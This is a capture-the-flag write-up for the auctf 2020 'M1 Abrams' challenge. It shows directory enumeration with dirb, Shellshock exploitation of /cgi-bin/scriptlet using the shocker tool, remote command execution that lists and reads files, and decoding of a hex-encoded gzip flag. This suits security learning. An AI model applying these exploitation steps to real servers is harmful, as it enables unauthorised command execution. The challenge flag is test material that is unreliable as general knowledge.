

auctf 2020 M1 Abrams

Saturday, March 7, 2020 12:16 PM

<http://challenges.auctf.com:30024/>

dirb shows /cgi-bin

dirb on /cgi-bin shows:

dirb http://challenges.auctf.com:30024/cgi-bin/

DIRB v2.22
By The Dark Raver

START_TIME: Sat Apr 4 14:07:16 2020
URL_BASE: http://challenges.auctf.com:30024/cgi-bin/
WORDLIST_FILES: /usr/local/share/dirb/wordlists/common.txt

GENERATED WORDS: 4613

---- Scanning URL: http://challenges.auctf.com:30024/cgi-bin/ ----
+ http://challenges.auctf.com:30024/cgi-bin/**scriptlet** (CODE:200|SIZE:55)

END_TIME: Sat Apr 4 14:09:54 2020
DOWNLOADED: 4613 - FOUND: 1

<http://challenges.auctf.com:30024/cgi-bin/scriptlet>

uid=33(www-data) gid=33(www-data) groups=33(www-data)

what to do from there?

I searched for "cgi-bin scanner" in google and found this:

<https://github.com/nccgroup/shocker>

Turns out this /cgi-bin/scriptlet is vulnerable to Shell Shock!

[https://en.wikipedia.org/wiki/Shellshock_\(software_bug\)](https://en.wikipedia.org/wiki/Shellshock_(software_bug))

I cloned the repo and ran it like this:

```
./shocker.py -H challenges.auctf.com --port 30024 -c /cgi-bin/scriptlet
```

```
..      .
( )|      |
`-|-.. ..|-|-..
( )| |( )| |-(-'|
`-' `-' `-' `-' v1.1
```

Tom Watson, tom.watson@nccgroup.trust
<https://www.github.com/nccgroup/shocker>

Released under the GNU Affero General Public License
(<https://www.gnu.org/licenses/agpl-3.0.html>)

```
[+] Single target '/cgi-bin/scriptlet' being used
[+] Checking connectivity with target...
[+] Target was reachable
[+] Looking for vulnerabilities on challenges.auctf.com:30024
[+] 1 potential target found, attempting exploits
[+] The following URLs appear to be exploitable:
[1] http://challenges.auctf.com:30024/cgi-bin/scriptlet
[+] Would you like to exploit further?
[>] Enter an URL number or 0 to exit:
```

```
[>] Enter an URL number or 0 to exit: 1
[+] Entering interactive mode for http://challenges.auctf.com:30024/cgi-bin/scriptlet
[+] Enter commands (e.g. /bin/cat /etc/passwd) or 'quit'
>
```

```
> /bin/ls /
< bin
< boot
< dev
< etc
< flag.file
< home
< lib
< lib64
< media
< mnt
< opt
< proc
< root
< run
< sbin
< srv
< sys
< tmp
```

```
< usr  
< var
```

```
> /bin/cat /flag.file  
< 1f8b0808de36755e0003666c61672e747874004b2c4d2e49ab56c9303634  
< 8c0fce30f08ecf358eaf72484989ace502005a5da5461b000000
```

Combined:

```
1f8b0808de36755e0003666c61672e747874004b2c4d2e49ab56c93036348c0fce30f08ecf358eaf72484989ace502005  
a5da5461b000000
```

echo -n

```
1f8b0808de36755e0003666c61672e747874004b2c4d2e49ab56c93036348c0fce30f08ecf358eaf72484989ace502  
005a5da5461b000000 | xxd -r -p - > lines
```

#xxd is a tool that lets you produce hex from binary OR turn binary into hex (-r)

file lines

lines: gzip compressed data, was "flag.txt", from Unix, last modified: Fri Mar 20 17:34:22 2020

```
cat lines | gunzip
```

```
auctf{$h311_Sh0K_m3_z@ddY}
```